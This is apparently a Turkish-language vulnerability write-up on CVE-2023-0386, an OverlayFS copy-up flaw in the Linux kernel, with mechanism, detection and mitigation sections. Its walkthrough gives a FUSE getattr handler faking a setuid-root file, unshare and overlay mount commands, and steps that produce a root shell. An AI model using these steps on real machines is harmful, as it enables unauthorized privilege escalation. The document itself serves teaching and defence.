overlayfs copy-up UID race (CVE-2023-0386)¶
Unprivileged bir kullanıcı, FUSE lower layer'dan root sahipli bir setuid binary'sini OverlayFS upper directory'sine kopyalar; kernel setuid bit'ini ve root ownership'i korur çünkü dosyanın UID/GID'sinin caller'ın user namespace'inde map'li olup olmadığını hiç kontrol etmez.
Mechanism¶
Neden çalışır
OverlayFS bir copy-up mekanizması uygular: read-only bir lowerdir
üzerinde duran bir dosya merged mount aracılığıyla değiştirildiğinde, kernel
değişikliği uygulamadan önce dosyayı writable upperdir'e kopyalar. Bu
kopyanın, kaynak dosyanın attribute'larını — ownership, mode bit'leri
(setuid dahil) ve extended attribute'ları — sadık bir şekilde yeniden
üretmesi beklenir.
Bug fs/overlayfs/copy_up.c içinde yaşıyor. ovl_copy_up_one() kaynak
inode'un stat'ını (uid, gid ve setuid mode bit'leri dahil) okur ve
dosyayı upper layer'da tam olarak bu attribute'larla yeniden oluşturur.
Aslında zorlaması gereken ama zorlamadığı invariant şudur: kopyalanan
UID/GID'nin mevcut user namespace'te temsil edilebilir olması gerekir. Bu
kontrol olmadan, lower filesystem'i kontrol eden unprivileged bir kullanıcı
uid=0 ve mode 04755 (setuid-root) iddiasında bulunan bir dosya sunabilir
ve kullanıcının execute edebildiği bir directory'ye yazılırken kernel'in bu
attribute'lara saygı göstermesini sağlayabilir.
Lower filesystem'i kontrol etmenin doğal yolu FUSE'dur: unprivileged bir
kullanıcı, getattr handler'ı st_uid = 0 ve st_mode = S_ISUID | 0755
dahil istediği her şeyi döndüren bir FUSE filesystem mount edebilir.
upperdir/workdir gerçek bir writable filesystem üzerine (örneğin /tmp)
yerleştirilir. Copy-up tetiklendiğinde kernel FUSE'un sunduğu attribute'ları
olduğu gibi kabul eder ve disk üzerinde gerçek bir root sahipli setuid binary
üretir. Bunu çalıştırmak attacker'ın kodunu root olarak koşturur.
Ubuntu'ya özgü GameOver(lay) CVE'lerinin aksine, CVE-2023-0386 bir
mainline bug'dır: yaklaşık 5.11 ile 6.1.x arasındaki upstream kernel'leri
etkiler (6.2'de ve stable backport'larda 4f11ada10d0a ile düzeltildi). Yine
de tipik olarak unprivileged user namespace'lere ihtiyaç duyar, böylece
unprivileged caller FUSE ve OverlayFS'in mount'unu gerçekleştirebilir.
CISA, in-the-wild exploitation gözlemledikten sonra CVE-2023-0386'yı KEV
catalog'una eklemiştir.
Walkthrough¶
Klasik public PoC (örneğin xkaneiki / Werqy3) iş birliği yapan iki process'e bölünür: sahte bir setuid-root binary export eden bir FUSE server ve bunun üzerine OverlayFS mount edip copy-up'ı tetikleyen bir client.
- Kernel'in aralıkta olduğunu ve unprivileged userns + FUSE'un mevcut olduğunu doğrulayın:
$ uname -r
5.19.0-32-generic
$ cat /proc/sys/kernel/unprivileged_userns_clone # Debian/Ubuntu knob
1
$ ls -l /dev/fuse
crw-rw-rw- 1 root root 10, 229 ... /dev/fuse
- FUSE server,
getattr'ının root sahipli bir setuid binary olarak raporladığı tek bir dosya export eder. Kavramsal olarak handler'ı şunu döndürür:
static int gece_getattr(const char *path, struct stat *st, ...)
{
st->st_uid = 0; /* claim root ownership */
st->st_gid = 0;
st->st_mode = S_IFREG | S_ISUID | 0777;/* setuid bit set */
st->st_size = magic_payload_size;
return 0;
}
- Yeni bir user + mount namespace içinde, FUSE export'u
lowerdirve writable bir directory'yiupperdirolarak kullanarak OverlayFS mount edin:
$ unshare -rm # CLONE_NEWUSER | CLONE_NEWNS, maps current uid->0 inside ns
# mount -t overlay overlay \
-o lowerdir=/fuse_mnt,upperdir=/tmp/upper,workdir=/tmp/work \
/tmp/merged
- Magic dosyayı merged mount aracılığıyla touch'layıp/değiştirerek copy-up'ı
tetikleyin. Kernel FUSE dosyasını
/tmp/upper'a kopyalar ve sahteuid=0ile setuid bit'ini korur:
# touch /tmp/merged/magic_file
# ls -l /tmp/upper/magic_file
-rwsr-xr-x 1 root root ... /tmp/upper/magic_file
- Namespace'in dışında,
/tmp/upper/magic_fileartık host filesystem üzerinde gerçek bir setuid-root binary'dir. Bunu çalıştırmak bir root shell verir:
Binary'nin payload'ı basitçe setuid(0); setgid(0); execl("/bin/bash", ...)
yapar ve bu başarılı olur çünkü kernel exec sırasında setuid bit'ini uygulamıştır.
Detection¶
- World-writable directory'lerde beliren setuid binary'lere dikkat edin
(
/tmp,/var/tmp,/dev/shm) — copy-up upper dir'leri genelde oradadır. - Real uid'si sıfır olmayan bir process'ten gelen, root sahipli bir setuid
dosyasının
execve'sinin hemen ardındansetuid(0)gelmesini audit edin. - Bir user namespace içinde hızlı bir ardışıklıkla hem
fuse/fuse.*hem deoverlayfilesystem'lerini mount eden unprivileged process'leri işaretleyin.
Mitigation¶
- Copy-up'a bir mapping kontrolü ekleyen
4f11ada10d0ad3fd53e2bd67806351de63a4f9c3fix commit'ini uygulayın:
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
- Unprivileged user namespace'leri devre dışı bırakın
(
kernel.unprivileged_userns_clone=0) veya container'ların ihtiyaç duymadığı yerlerde unprivileged kullanıcılar için FUSE'u kısıtlayın. - Container'lar için
mount'u ve FUSE device'ını seccomp/AppArmor ile reddedin.